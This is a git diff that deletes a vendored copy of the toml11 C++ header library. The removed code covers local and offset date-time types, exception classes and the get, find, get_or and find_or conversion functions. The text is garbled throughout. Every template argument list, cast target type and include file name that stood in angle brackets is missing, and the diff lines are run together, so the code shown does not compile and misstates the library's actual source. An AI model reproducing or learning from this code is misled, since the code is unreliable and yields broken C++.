rhs.minute, rhs.second, rhs.millisecond, rhs.microsecond, rhs.nanosecond); -} -inline bool operator!=(const local_time& lhs, const local_time& rhs) -{ - return !(lhs == rhs); -} -inline bool operator< (const local_time& lhs, const local_time& rhs) -{ - return std::make_tuple(lhs.hour, lhs.minute, lhs.second, lhs.millisecond, lhs.microsecond, lhs.nanosecond) < - std::make_tuple(rhs.hour, rhs.minute, rhs.second, rhs.millisecond, rhs.microsecond, rhs.nanosecond); -} -inline bool operator<=(const local_time& lhs, const local_time& rhs) -{ - return (lhs < rhs) || (lhs == rhs); -} -inline bool operator> (const local_time& lhs, const local_time& rhs) -{ - return !(lhs <= rhs); -} -inline bool operator>=(const local_time& lhs, const local_time& rhs) -{ - return !(lhs < rhs); -} - -template -std::basic_ostream& -operator<<(std::basic_ostream& os, const local_time& time) -{ - os << std::setfill('0') << std::setw(2) << static_cast(time.hour ) << ':'; - os << std::setfill('0') << std::setw(2) << static_cast(time.minute) << ':'; - os << std::setfill('0') << std::setw(2) << static_cast(time.second); - if(time.millisecond != 0 || time.microsecond != 0 || time.nanosecond != 0) - { - os << '.'; - os << std::setfill('0') << std::setw(3) << static_cast(time.millisecond); - if(time.microsecond != 0 || time.nanosecond != 0) - { - os << std::setfill('0') << std::setw(3) << static_cast(time.microsecond); - if(time.nanosecond != 0) - { - os << std::setfill('0') << std::setw(3) << static_cast(time.nanosecond); - } - } - } - return os; -} - -struct time_offset -{ - std::int8_t hour; // [-12, 12] - std::int8_t minute; // [-59, 59] - - time_offset(int h, int m) - : hour (static_cast(h)), - minute(static_cast(m)) - {} - - operator std::chrono::minutes() const - { - return std::chrono::minutes(this->minute) + - std::chrono::hours(this->hour); - } - - time_offset() = default; - ~time_offset() = default; - time_offset(time_offset const&) = default; - time_offset(time_offset&&) = default; - time_offset& operator=(time_offset const&) = default; - time_offset& operator=(time_offset&&) = default; -}; - -inline bool operator==(const time_offset& lhs, const time_offset& rhs) -{ - return std::make_tuple(lhs.hour, lhs.minute) == - std::make_tuple(rhs.hour, rhs.minute); -} -inline bool operator!=(const time_offset& lhs, const time_offset& rhs) -{ - return !(lhs == rhs); -} -inline bool operator< (const time_offset& lhs, const time_offset& rhs) -{ - return std::make_tuple(lhs.hour, lhs.minute) < - std::make_tuple(rhs.hour, rhs.minute); -} -inline bool operator<=(const time_offset& lhs, const time_offset& rhs) -{ - return (lhs < rhs) || (lhs == rhs); -} -inline bool operator> (const time_offset& lhs, const time_offset& rhs) -{ - return !(lhs <= rhs); -} -inline bool operator>=(const time_offset& lhs, const time_offset& rhs) -{ - return !(lhs < rhs); -} - -template -std::basic_ostream& -operator<<(std::basic_ostream& os, const time_offset& offset) -{ - if(offset.hour == 0 && offset.minute == 0) - { - os << 'Z'; - return os; - } - int minute = static_cast(offset.hour) * 60 + offset.minute; - if(minute < 0){os << '-'; minute = std::abs(minute);} else {os << '+';} - os << std::setfill('0') << std::setw(2) << minute / 60 << ':'; - os << std::setfill('0') << std::setw(2) << minute % 60; - return os; -} - -struct local_datetime -{ - local_date date; - local_time time; - - local_datetime(local_date d, local_time t): date(d), time(t) {} - - explicit local_datetime(const std::tm& t): date(t), time(t){} - - explicit local_datetime(const std::chrono::system_clock::time_point& tp) - { - const auto t = std::chrono::system_clock::to_time_t(tp); - std::tm ltime = detail::localtime_s(&t); - - this->date = local_date(ltime); - this->time = local_time(ltime); - - // std::tm lacks subsecond information, so diff between tp and tm - // can be used to get millisecond & microsecond information. - const auto t_diff = tp - - std::chrono::system_clock::from_time_t(std::mktime(<ime)); - this->time.millisecond = static_cast( - std::chrono::duration_cast(t_diff).count()); - this->time.microsecond = static_cast( - std::chrono::duration_cast(t_diff).count()); - this->time.nanosecond = static_cast( - std::chrono::duration_cast(t_diff).count()); - } - - explicit local_datetime(const std::time_t t) - : local_datetime(std::chrono::system_clock::from_time_t(t)) - {} - - operator std::chrono::system_clock::time_point() const - { - using internal_duration = - typename std::chrono::system_clock::time_point::duration; - - // Normally DST begins at A.M. 3 or 4. If we re-use conversion operator - // of local_date and local_time independently, the conversion fails if - // it is the day when DST begins or ends. Since local_date considers the - // time is 00:00 A.M. and local_time does not consider DST because it - // does not have any date information. We need to consider both date and - // time information at the same time to convert it correctly. - - std::tm t; - t.tm_sec = static_cast(this->time.second); - t.tm_min = static_cast(this->time.minute); - t.tm_hour = static_cast(this->time.hour); - t.tm_mday = static_cast(this->date.day); - t.tm_mon = static_cast(this->date.month); - t.tm_year = static_cast(this->date.year) - 1900; - t.tm_wday = 0; // the value will be ignored - t.tm_yday = 0; // the value will be ignored - t.tm_isdst = -1; - - // std::mktime returns date as local time zone. no conversion needed - auto dt = std::chrono::system_clock::from_time_t(std::mktime(&t)); - dt += std::chrono::duration_cast( - std::chrono::milliseconds(this->time.millisecond) + - std::chrono::microseconds(this->time.microsecond) + - std::chrono::nanoseconds (this->time.nanosecond)); - return dt; - } - - operator std::time_t() const - { - return std::chrono::system_clock::to_time_t( - std::chrono::system_clock::time_point(*this)); - } - - local_datetime() = default; - ~local_datetime() = default; - local_datetime(local_datetime const&) = default; - local_datetime(local_datetime&&) = default; - local_datetime& operator=(local_datetime const&) = default; - local_datetime& operator=(local_datetime&&) = default; -}; - -inline bool operator==(const local_datetime& lhs, const local_datetime& rhs) -{ - return std::make_tuple(lhs.date, lhs.time) == - std::make_tuple(rhs.date, rhs.time); -} -inline bool operator!=(const local_datetime& lhs, const local_datetime& rhs) -{ - return !(lhs == rhs); -} -inline bool operator< (const local_datetime& lhs, const local_datetime& rhs) -{ - return std::make_tuple(lhs.date, lhs.time) < - std::make_tuple(rhs.date, rhs.time); -} -inline bool operator<=(const local_datetime& lhs, const local_datetime& rhs) -{ - return (lhs < rhs) || (lhs == rhs); -} -inline bool operator> (const local_datetime& lhs, const local_datetime& rhs) -{ - return !(lhs <= rhs); -} -inline bool operator>=(const local_datetime& lhs, const local_datetime& rhs) -{ - return !(lhs < rhs); -} - -template -std::basic_ostream& -operator<<(std::basic_ostream& os, const local_datetime& dt) -{ - os << dt.date << 'T' << dt.time; - return os; -} - -struct offset_datetime -{ - local_date date; - local_time time; - time_offset offset; - - offset_datetime(local_date d, local_time t, time_offset o) - : date(d), time(t), offset(o) - {} - offset_datetime(const local_datetime& dt, time_offset o) - : date(dt.date), time(dt.time), offset(o) - {} - explicit offset_datetime(const local_datetime& ld) - : date(ld.date), time(ld.time), offset(get_local_offset(nullptr)) - // use the current local timezone offset - {} - explicit offset_datetime(const std::chrono::system_clock::time_point& tp) - : offset(0, 0) // use gmtime - { - const auto timet = std::chrono::system_clock::to_time_t(tp); - const auto tm = detail::gmtime_s(&timet); - this->date = local_date(tm); - this->time = local_time(tm); - } - explicit offset_datetime(const std::time_t& t) - : offset(0, 0) // use gmtime - { - const auto tm = detail::gmtime_s(&t); - this->date = local_date(tm); - this->time = local_time(tm); - } - explicit offset_datetime(const std::tm& t) - : offset(0, 0) // assume gmtime - { - this->date = local_date(t); - this->time = local_time(t); - } - - operator std::chrono::system_clock::time_point() const - { - // get date-time - using internal_duration = - typename std::chrono::system_clock::time_point::duration; - - // first, convert it to local date-time information in the same way as - // local_datetime does. later we will use time_t to adjust time offset. - std::tm t; - t.tm_sec = static_cast(this->time.second); - t.tm_min = static_cast(this->time.minute); - t.tm_hour = static_cast(this->time.hour); - t.tm_mday = static_cast(this->date.day); - t.tm_mon = static_cast(this->date.month); - t.tm_year = static_cast(this->date.year) - 1900; - t.tm_wday = 0; // the value will be ignored - t.tm_yday = 0; // the value will be ignored - t.tm_isdst = -1; - const std::time_t tp_loc = std::mktime(std::addressof(t)); - - auto tp = std::chrono::system_clock::from_time_t(tp_loc); - tp += std::chrono::duration_cast( - std::chrono::milliseconds(this->time.millisecond) + - std::chrono::microseconds(this->time.microsecond) + - std::chrono::nanoseconds (this->time.nanosecond)); - - // Since mktime uses local time zone, it should be corrected. - // `12:00:00+09:00` means `03:00:00Z`. So mktime returns `03:00:00Z` if - // we are in `+09:00` timezone. To represent `12:00:00Z` there, we need - // to add `+09:00` to `03:00:00Z`. - // Here, it uses the time_t converted from date-time info to handle - // daylight saving time. - const auto ofs = get_local_offset(std::addressof(tp_loc)); - tp += std::chrono::hours (ofs.hour); - tp += std::chrono::minutes(ofs.minute); - - // We got `12:00:00Z` by correcting local timezone applied by mktime. - // Then we will apply the offset. Let's say `12:00:00-08:00` is given. - // And now, we have `12:00:00Z`. `12:00:00-08:00` means `20:00:00Z`. - // So we need to subtract the offset. - tp -= std::chrono::minutes(this->offset); - return tp; - } - - operator std::time_t() const - { - return std::chrono::system_clock::to_time_t( - std::chrono::system_clock::time_point(*this)); - } - - offset_datetime() = default; - ~offset_datetime() = default; - offset_datetime(offset_datetime const&) = default; - offset_datetime(offset_datetime&&) = default; - offset_datetime& operator=(offset_datetime const&) = default; - offset_datetime& operator=(offset_datetime&&) = default; - - private: - - static time_offset get_local_offset(const std::time_t* tp) - { - // get local timezone with the same date-time information as mktime - const auto t = detail::localtime_s(tp); - - std::array buf; - const auto result = std::strftime(buf.data(), 6, "%z", &t); // +hhmm\0 - if(result != 5) - { - throw std::runtime_error("toml::offset_datetime: cannot obtain " - "timezone information of current env"); - } - const int ofs = std::atoi(buf.data()); - const int ofs_h = ofs / 100; - const int ofs_m = ofs - (ofs_h * 100); - return time_offset(ofs_h, ofs_m); - } -}; - -inline bool operator==(const offset_datetime& lhs, const offset_datetime& rhs) -{ - return std::make_tuple(lhs.date, lhs.time, lhs.offset) == - std::make_tuple(rhs.date, rhs.time, rhs.offset); -} -inline bool operator!=(const offset_datetime& lhs, const offset_datetime& rhs) -{ - return !(lhs == rhs); -} -inline bool operator< (const offset_datetime& lhs, const offset_datetime& rhs) -{ - return std::make_tuple(lhs.date, lhs.time, lhs.offset) < - std::make_tuple(rhs.date, rhs.time, rhs.offset); -} -inline bool operator<=(const offset_datetime& lhs, const offset_datetime& rhs) -{ - return (lhs < rhs) || (lhs == rhs); -} -inline bool operator> (const offset_datetime& lhs, const offset_datetime& rhs) -{ - return !(lhs <= rhs); -} -inline bool operator>=(const offset_datetime& lhs, const offset_datetime& rhs) -{ - return !(lhs < rhs); -} - -template -std::basic_ostream& -operator<<(std::basic_ostream& os, const offset_datetime& dt) -{ - os << dt.date << 'T' << dt.time << dt.offset; - return os; -} - -}//toml -#endif// TOML11_DATETIME diff --git a/src/toml11/toml/exception.hpp b/src/toml11/toml/exception.hpp deleted file mode 100644 index c64651d0a..000000000 --- a/src/toml11/toml/exception.hpp +++ /dev/null @@ -1,65 +0,0 @@ -// Copyright Toru Niina 2017. -// Distributed under the MIT License. -#ifndef TOML11_EXCEPTION_HPP -#define TOML11_EXCEPTION_HPP -#include -#include - -#include "source_location.hpp" - -namespace toml -{ - -struct exception : public std::exception -{ - public: - explicit exception(const source_location& loc): loc_(loc) {} - virtual ~exception() noexcept override = default; - virtual const char* what() const noexcept override {return "";} - virtual source_location const& location() const noexcept {return loc_;} - - protected: - source_location loc_; -}; - -struct syntax_error : public toml::exception -{ - public: - explicit syntax_error(const std::string& what_arg, const source_location& loc) - : exception(loc), what_(what_arg) - {} - virtual ~syntax_error() noexcept override = default; - virtual const char* what() const noexcept override {return what_.c_str();} - - protected: - std::string what_; -}; - -struct type_error : public toml::exception -{ - public: - explicit type_error(const std::string& what_arg, const source_location& loc) - : exception(loc), what_(what_arg) - {} - virtual ~type_error() noexcept override = default; - virtual const char* what() const noexcept override {return what_.c_str();} - - protected: - std::string what_; -}; - -struct internal_error : public toml::exception -{ - public: - explicit internal_error(const std::string& what_arg, const source_location& loc) - : exception(loc), what_(what_arg) - {} - virtual ~internal_error() noexcept override = default; - virtual const char* what() const noexcept override {return what_.c_str();} - - protected: - std::string what_; -}; - -} // toml -#endif // TOML_EXCEPTION diff --git a/src/toml11/toml/from.hpp b/src/toml11/toml/from.hpp deleted file mode 100644 index 10815caf5..000000000 --- a/src/toml11/toml/from.hpp +++ /dev/null @@ -1,19 +0,0 @@ -// Copyright Toru Niina 2019. -// Distributed under the MIT License. -#ifndef TOML11_FROM_HPP -#define TOML11_FROM_HPP - -namespace toml -{ - -template -struct from; -// { -// static T from_toml(const toml::value& v) -// { -// // User-defined conversions ... -// } -// }; - -} // toml -#endif // TOML11_FROM_HPP diff --git a/src/toml11/toml/get.hpp b/src/toml11/toml/get.hpp deleted file mode 100644 index d7fdf553b..000000000 --- a/src/toml11/toml/get.hpp +++ /dev/null @@ -1,1117 +0,0 @@ -// Copyright Toru Niina 2017. -// Distributed under the MIT License. -#ifndef TOML11_GET_HPP -#define TOML11_GET_HPP -#include - -#include "from.hpp" -#include "result.hpp" -#include "value.hpp" - -namespace toml -{ - -// ============================================================================ -// exact toml::* type - -template class M, template class V> -detail::enable_if_t>::value, T> & -get(basic_value& v) -{ - return v.template cast>::value>(); -} - -template class M, template class V> -detail::enable_if_t>::value, T> const& -get(const basic_value& v) -{ - return v.template cast>::value>(); -} - -template class M, template class V> -detail::enable_if_t>::value, T> -get(basic_value&& v) -{ - return T(std::move(v).template cast>::value>()); -} - -// ============================================================================ -// T == toml::value; identity transformation. - -template class M, template class V> -inline detail::enable_if_t>::value, T>& -get(basic_value& v) -{ - return v; -} - -template class M, template class V> -inline detail::enable_if_t>::value, T> const& -get(const basic_value& v) -{ - return v; -} - -template class M, template class V> -inline detail::enable_if_t>::value, T> -get(basic_value&& v) -{ - return basic_value(std::move(v)); -} - -// ============================================================================ -// T == toml::basic_value; basic_value -> basic_value - -template class M, template class V> -inline detail::enable_if_t, - detail::negation>> - >::value, T> -get(const basic_value& v) -{ - return T(v); -} - -// ============================================================================ -// integer convertible from toml::Integer - -template class M, template class V> -inline detail::enable_if_t, // T is integral - detail::negation>, // but not bool - detail::negation< // but not toml::integer - detail::is_exact_toml_type>> - >::value, T> -get(const basic_value& v) -{ - return static_cast(v.as_integer()); -} - -// ============================================================================ -// floating point convertible from toml::Float - -template class M, template class V> -inline detail::enable_if_t, // T is floating_point - detail::negation< // but not toml::floating - detail::is_exact_toml_type>> - >::value, T> -get(const basic_value& v) -{ - return static_cast(v.as_floating()); -} - -// ============================================================================ -// std::string; toml uses its own toml::string, but it should be convertible to -// std::string seamlessly - -template class M, template class V> -inline detail::enable_if_t::value, std::string>& -get(basic_value& v) -{ - return v.as_string().str; -} - -template class M, template class V> -inline detail::enable_if_t::value, std::string> const& -get(const basic_value& v) -{ - return v.as_string().str; -} - -template class M, template class V> -inline detail::enable_if_t::value, std::string> -get(basic_value&& v) -{ - return std::string(std::move(v.as_string().str)); -} - -// ============================================================================ -// std::string_view - -#if defined(TOML11_USING_STRING_VIEW) && TOML11_USING_STRING_VIEW>0 -template class M, template class V> -inline detail::enable_if_t::value, std::string_view> -get(const basic_value& v) -{ - return std::string_view(v.as_string().str); -} -#endif - -// ============================================================================ -// std::chrono::duration from toml::local_time. - -template class M, template class V> -inline detail::enable_if_t::value, T> -get(const basic_value& v) -{ - return std::chrono::duration_cast( - std::chrono::nanoseconds(v.as_local_time())); -} - -// ============================================================================ -// std::chrono::system_clock::time_point from toml::datetime variants - -template class M, template class V> -inline detail::enable_if_t< - std::is_same::value, T> -get(const basic_value& v) -{ - switch(v.type()) - { - case value_t::local_date: - { - return std::chrono::system_clock::time_point(v.as_local_date()); - } - case value_t::local_datetime: - { - return std::chrono::system_clock::time_point(v.as_local_datetime()); - } - case value_t::offset_datetime: - { - return std::chrono::system_clock::time_point(v.as_offset_datetime()); - } - default: - { - throw type_error(detail::format_underline("toml::value: " - "bad_cast to std::chrono::system_clock::time_point", { - {v.location(), concat_to_string("the actual type is ", v.type())} - }), v.location()); - } - } -} - -// ============================================================================ -// forward declaration to use this recursively. ignore this and go ahead. - -// array-like type with push_back(value) method -template class M, template class V> -detail::enable_if_t, // T is a container - detail::has_push_back_method, // T::push_back(value) works - detail::negation< // but not toml::array - detail::is_exact_toml_type>> - >::value, T> -get(const basic_value&); - -// array-like type without push_back(value) method -template class M, template class V> -detail::enable_if_t, // T is a container - detail::negation>, // w/o push_back(...) - detail::negation< // not toml::array - detail::is_exact_toml_type>> - >::value, T> -get(const basic_value&); - -// std::pair -template class M, template class V> -detail::enable_if_t::value, T> -get(const basic_value&); - -// std::tuple -template class M, template class V> -detail::enable_if_t::value, T> -get(const basic_value&); - -// map-like classes -template class M, template class V> -detail::enable_if_t, // T is map - detail::negation< // but not toml::table - detail::is_exact_toml_type>> - >::value, T> -get(const basic_value&); - -// T.from_toml(v) -template class M, template class V> -detail::enable_if_t>>, - detail::has_from_toml_method, // but has from_toml(toml::value) - std::is_default_constructible // and default constructible - >::value, T> -get(const basic_value&); - -// toml::from::from_toml(v) -template class M, template class V> -detail::enable_if_t::value, T> -get(const basic_value&); - -// T(const toml::value&) and T is not toml::basic_value, -// and it does not have `from` nor `from_toml`. -template class M, template class V> -detail::enable_if_t>, - std::is_constructible&>, - detail::negation>, - detail::negation> - >::value, T> -get(const basic_value&); - -// ============================================================================ -// array-like types; most likely STL container, like std::vector, etc. - -template class M, template class V> -detail::enable_if_t, // T is a container - detail::has_push_back_method, // container.push_back(elem) works - detail::negation< // but not toml::array - detail::is_exact_toml_type>> - >::value, T> -get(const basic_value& v) -{ - using value_type = typename T::value_type; - const auto& ary = v.as_array(); - - T container; - try_reserve(container, ary.size()); - - for(const auto& elem : ary) - { - container.push_back(get(elem)); - } - return container; -} - -// ============================================================================ -// std::forward_list does not have push_back, insert, or emplace. -// It has insert_after, emplace_after, push_front. - -template class M, template class V> -detail::enable_if_t::value, T> -get(const basic_value& v) -{ - using value_type = typename T::value_type; - T container; - for(const auto& elem : v.as_array()) - { - container.push_front(get(elem)); - } - container.reverse(); - return container; -} - -// ============================================================================ -// array-like types, without push_back(). most likely [std|boost]::array. - -template class M, template class V> -detail::enable_if_t, // T is a container - detail::negation>, // w/o push_back - detail::negation< // T is not toml::array - detail::is_exact_toml_type>> - >::value, T> -get(const basic_value& v) -{ - using value_type = typename T::value_type; - const auto& ar = v.as_array(); - - T container; - if(ar.size() != container.size()) - { - throw std::out_of_range(detail::format_underline(concat_to_string( - "toml::get: specified container size is ", container.size(), - " but there are ", ar.size(), " elements in toml array."), { - {v.location(), "here"} - })); - } - for(std::size_t i=0; i(ar[i]); - } - return container; -} - -// ============================================================================ -// std::pair. - -template class M, template class V> -detail::enable_if_t::value, T> -get(const basic_value& v) -{ - using first_type = typename T::first_type; - using second_type = typename T::second_type; - - const auto& ar = v.as_array(); - if(ar.size() != 2) - { - throw std::out_of_range(detail::format_underline(concat_to_string( - "toml::get: specified std::pair but there are ", ar.size(), - " elements in toml array."), {{v.location(), "here"}})); - } - return std::make_pair(::toml::get(ar.at(0)), - ::toml::get(ar.at(1))); -} - -// ============================================================================ -// std::tuple. - -namespace detail -{ -template -T get_tuple_impl(const Array& a, index_sequence) -{ - return std::make_tuple( - ::toml::get::type>(a.at(I))...); -} -} // detail - -template class M, template class V> -detail::enable_if_t::value, T> -get(const basic_value& v) -{ - const auto& ar = v.as_array(); - if(ar.size() != std::tuple_size::value) - { - throw std::out_of_range(detail::format_underline(concat_to_string( - "toml::get: specified std::tuple with ", - std::tuple_size::value, " elements, but there are ", ar.size(), - " elements in toml array."), {{v.location(), "here"}})); - } - return detail::get_tuple_impl(ar, - detail::make_index_sequence::value>{}); -} - -// ============================================================================ -// map-like types; most likely STL map, like std::map or std::unordered_map. - -template class M, template class V> -detail::enable_if_t, // T is map - detail::negation< // but not toml::array - detail::is_exact_toml_type>> - >::value, T> -get(const basic_value& v) -{ - using key_type = typename T::key_type; - using mapped_type = typename T::mapped_type; - static_assert(std::is_convertible::value, - "toml::get only supports map type of which key_type is " - "convertible from std::string."); - T map; - for(const auto& kv : v.as_table()) - { - map.emplace(key_type(kv.first), get(kv.second)); - } - return map; -} - -// ============================================================================ -// user-defined, but compatible types. - -template class M, template class V> -detail::enable_if_t>>, - detail::has_from_toml_method, // but has from_toml(toml::value) memfn - std::is_default_constructible // and default constructible - >::value, T> -get(const basic_value& v) -{ - T ud; - ud.from_toml(v); - return ud; -} -template class M, template class V> -detail::enable_if_t::value, T> -get(const basic_value& v) -{ - return ::toml::from::from_toml(v); -} - -template class M, template class V> -detail::enable_if_t>, // T is not a toml::value - std::is_constructible&>, // T is constructible from toml::value - detail::negation>, // and T does not have T.from_toml(v); - detail::negation> // and T does not have toml::from{}; - >::value, T> -get(const basic_value& v) -{ - return T(v); -} - -// ============================================================================ -// find - -// ---------------------------------------------------------------------------- -// these overloads do not require to set T. and returns value itself. -template class M, template class V> -basic_value const& find(const basic_value& v, const key& ky) -{ - const auto& tab = v.as_table(); - if(tab.count(ky) == 0) - { - detail::throw_key_not_found_error(v, ky); - } - return tab.at(ky); -} -template class M, template class V> -basic_value& find(basic_value& v, const key& ky) -{ - auto& tab = v.as_table(); - if(tab.count(ky) == 0) - { - detail::throw_key_not_found_error(v, ky); - } - return tab.at(ky); -} -template class M, template class V> -basic_value find(basic_value&& v, const key& ky) -{ - typename basic_value::table_type tab = std::move(v).as_table(); - if(tab.count(ky) == 0) - { - detail::throw_key_not_found_error(v, ky); - } - return basic_value(std::move(tab.at(ky))); -} - -// ---------------------------------------------------------------------------- -// find(value, idx) -template class M, template class V> -basic_value const& -find(const basic_value& v, const std::size_t idx) -{ - const auto& ary = v.as_array(); - if(ary.size() <= idx) - { - throw std::out_of_range(detail::format_underline(concat_to_string( - "index ", idx, " is out of range"), {{v.location(), "in this array"}})); - } - return ary.at(idx); -} -template class M, template class V> -basic_value& find(basic_value& v, const std::size_t idx) -{ - auto& ary = v.as_array(); - if(ary.size() <= idx) - { - throw std::out_of_range(detail::format_underline(concat_to_string( - "index ", idx, " is out of range"), {{v.location(), "in this array"}})); - } - return ary.at(idx); -} -template class M, template class V> -basic_value find(basic_value&& v, const std::size_t idx) -{ - auto& ary = v.as_array(); - if(ary.size() <= idx) - { - throw std::out_of_range(detail::format_underline(concat_to_string( - "index ", idx, " is out of range"), {{v.location(), "in this array"}})); - } - return basic_value(std::move(ary.at(idx))); -} - -// ---------------------------------------------------------------------------- -// find(value, key); - -template class M, template class V> -decltype(::toml::get(std::declval const&>())) -find(const basic_value& v, const key& ky) -{ - const auto& tab = v.as_table(); - if(tab.count(ky) == 0) - { - detail::throw_key_not_found_error(v, ky); - } - return ::toml::get(tab.at(ky)); -} - -template class M, template class V> -decltype(::toml::get(std::declval&>())) -find(basic_value& v, const key& ky) -{ - auto& tab = v.as_table(); - if(tab.count(ky) == 0) - { - detail::throw_key_not_found_error(v, ky); - } - return ::toml::get(tab.at(ky)); -} - -template class M, template class V> -decltype(::toml::get(std::declval&&>())) -find(basic_value&& v, const key& ky) -{ - typename basic_value::table_type tab = std::move(v).as_table(); - if(tab.count(ky) == 0) - { - detail::throw_key_not_found_error(v, ky); - } - return ::toml::get(std::move(tab.at(ky))); -} - -// ---------------------------------------------------------------------------- -// find(value, idx) -template class M, template class V> -decltype(::toml::get(std::declval const&>())) -find(const basic_value& v, const std::size_t idx) -{ - const auto& ary = v.as_array(); - if(ary.size() <= idx) - { - throw std::out_of_range(detail::format_underline(concat_to_string( - "index ", idx, " is out of range"), {{v.location(), "in this array"}})); - } - return ::toml::get(ary.at(idx)); -} -template class M, template class V> -decltype(::toml::get(std::declval&>())) -find(basic_value& v, const std::size_t idx) -{ - auto& ary = v.as_array(); - if(ary.size() <= idx) - { - throw std::out_of_range(detail::format_underline(concat_to_string( - "index ", idx, " is out of range"), {{v.location(), "in this array"}})); - } - return ::toml::get(ary.at(idx)); -} -template class M, template class V> -decltype(::toml::get(std::declval&&>())) -find(basic_value&& v, const std::size_t idx) -{ - typename basic_value::array_type ary = std::move(v).as_array(); - if(ary.size() <= idx) - { - throw std::out_of_range(detail::format_underline(concat_to_string( - "index ", idx, " is out of range"), {{v.location(), "in this array"}})); - } - return ::toml::get(std::move(ary.at(idx))); -} - -// -------------------------------------------------------------------------- -// toml::find(toml::value, toml::key, Ts&& ... keys) - -namespace detail -{ -// It suppresses warnings by -Wsign-conversion. Let's say we have the following -// code. -// ```cpp -// const auto x = toml::find(data, "array", 0); -// ``` -// Here, the type of literal number `0` is `int`. `int` is a signed integer. -// `toml::find` takes `std::size_t` as an index. So it causes implicit sign -// conversion and `-Wsign-conversion` warns about it. Using `0u` instead of `0` -// suppresses the warning, but it makes user code messy. -// To suppress this warning, we need to be aware of type conversion caused -// by `toml::find(v, key1, key2, ... keys)`. But the thing is that the types of -// keys can be any combination of {string-like, size_t-like}. Of course we can't -// write down all the combinations. Thus we need to use some function that -// recognize the type of argument and cast it into `std::string` or -// `std::size_t` depending on the context. -// `key_cast` does the job. It has 2 overloads. One is invoked when the -// argument type is an integer and cast the argument into `std::size_t`. The -// other is invoked when the argument type is not an integer, possibly one of -// std::string, const char[N] or const char*, and construct std::string from -// the argument. -// `toml::find(v, k1, k2, ... ks)` uses `key_cast` before passing `ks` to -// `toml::find(v, k)` to suppress -Wsign-conversion. - -template -enable_if_t>, - negation, bool>>>::value, std::size_t> -key_cast(T&& v) noexcept -{ - return std::size_t(v); -} -template -enable_if_t>, - negation, bool>>>>::value, std::string> -key_cast(T&& v) noexcept -{ - return std::string(std::forward(v)); -} -} // detail - -template class M, template class V, - typename Key1, typename Key2, typename ... Keys> -const basic_value& -find(const basic_value& v, Key1&& k1, Key2&& k2, Keys&& ... keys) -{ - return ::toml::find(::toml::find(v, detail::key_cast(k1)), - detail::key_cast(k2), std::forward(keys)...); -} -template class M, template class V, - typename Key1, typename Key2, typename ... Keys> -basic_value& -find(basic_value& v, Key1&& k1, Key2&& k2, Keys&& ... keys) -{ - return ::toml::find(::toml::find(v, detail::key_cast(k1)), - detail::key_cast(k2), std::forward(keys)...); -} -template class M, template class V, - typename Key1, typename Key2, typename ... Keys> -basic_value -find(basic_value&& v, Key1&& k1, Key2&& k2, Keys&& ... keys) -{ - return ::toml::find(::toml::find(std::move(v), std::forward(k1)), - detail::key_cast(k2), std::forward(keys)...); -} - -template class M, template class V, - typename Key1, typename Key2, typename ... Keys> -decltype(::toml::get(std::declval&>())) -find(const basic_value& v, Key1&& k1, Key2&& k2, Keys&& ... keys) -{ - return ::toml::find(::toml::find(v, detail::key_cast(k1)), - detail::key_cast(k2), std::forward(keys)...); -} -template class M, template class V, - typename Key1, typename Key2, typename ... Keys> -decltype(::toml::get(std::declval&>())) -find(basic_value& v, Key1&& k1, Key2&& k2, Keys&& ... keys) -{ - return ::toml::find(::toml::find(v, detail::key_cast(k1)), - detail::key_cast(k2), std::forward(keys)...); -} -template class M, template class V, - typename Key1, typename Key2, typename ... Keys> -decltype(::toml::get(std::declval&&>())) -find(basic_value&& v, Key1&& k1, Key2&& k2, Keys&& ... keys) -{ - return ::toml::find(::toml::find(std::move(v), detail::key_cast(k1)), - detail::key_cast(k2), std::forward(keys)...); -} - -// ============================================================================ -// get_or(value, fallback) - -template class M, template class V> -basic_value const& -get_or(const basic_value& v, const basic_value&) -{ - return v; -} -template class M, template class V> -basic_value& -get_or(basic_value& v, basic_value&) -{ - return v; -} -template class M, template class V> -basic_value -get_or(basic_value&& v, basic_value&&) -{ - return v; -} - -// ---------------------------------------------------------------------------- -// specialization for the exact toml types (return type becomes lvalue ref) - -template class M, template class V> -detail::enable_if_t< - detail::is_exact_toml_type>::value, T> const& -get_or(const basic_value& v, const T& opt) -{ - try - { - return get>(v); - } - catch(...) - { - return opt; - } -} -template class M, template class V> -detail::enable_if_t< - detail::is_exact_toml_type>::value, T>& -get_or(basic_value& v, T& opt) -{ - try - { - return get>(v); - } - catch(...) - { - return opt; - } -} -template class M, template class V> -detail::enable_if_t, - basic_value>::value, detail::remove_cvref_t> -get_or(basic_value&& v, T&& opt) -{ - try - { - return get>(std::move(v)); - } - catch(...) - { - return detail::remove_cvref_t(std::forward(opt)); - } -} - -// ---------------------------------------------------------------------------- -// specialization for std::string (return type becomes lvalue ref) - -template class M, template class V> -detail::enable_if_t, std::string>::value, - std::string> const& -get_or(const basic_value& v, const T& opt) -{ - try - { - return v.as_string().str; - } - catch(...) - { - return opt; - } -} -template class M, template class V> -detail::enable_if_t::value, std::string>& -get_or(basic_value& v, T& opt) -{ - try - { - return v.as_string().str; - } - catch(...) - { - return opt; - } -} -template class M, template class V> -detail::enable_if_t< - std::is_same, std::string>::value, std::string> -get_or(basic_value&& v, T&& opt) -{ - try - { - return std::move(v.as_string().str); - } - catch(...) - { - return std::string(std::forward(opt)); - } -} - -// ---------------------------------------------------------------------------- -// specialization for string literal - -template class M, template class V> -detail::enable_if_t::type>::value, std::string> -get_or(const basic_value& v, T&& opt) -{ - try - { - return std::move(v.as_string().str); - } - catch(...) - { - return std::string(std::forward(opt)); - } -} - -// ---------------------------------------------------------------------------- -// others (require type conversion and return type cannot be lvalue reference) - -template class M, template class V> -detail::enable_if_t, - basic_value>>, - detail::negation>>, - detail::negation::type>> - >::value, detail::remove_cvref_t> -get_or(const basic_value& v, T&& opt) -{ - try - { - return get>(v); - } - catch(...) - { - return detail::remove_cvref_t(std::forward(opt)); - } -} - -// =========================================================================== -// find_or(value, key, fallback) - -template class M, template class V> -basic_value const& -find_or(const basic_value& v, const key& ky, - const basic_value& opt) -{ - if(!v.is_table()) {return opt;} - const auto& tab = v.as_table(); - if(tab.count(ky) == 0) {return opt;} - return tab.at(ky); -} - -template class M, template class V> -basic_value& -find_or(basic_value& v, const toml::key& ky, basic_value& opt) -{ - if(!v.is_table()) {return opt;} - auto& tab = v.as_table(); - if(tab.count(ky) == 0) {return opt;} - return tab.at(ky); -} - -template class M, template class V> -basic_value -find_or(basic_value&& v, const toml::key& ky, basic_value&& opt) -{ - if(!v.is_table()) {return opt;} - auto tab = std::move(v).as_table(); - if(tab.count(ky) == 0) {return opt;} - return 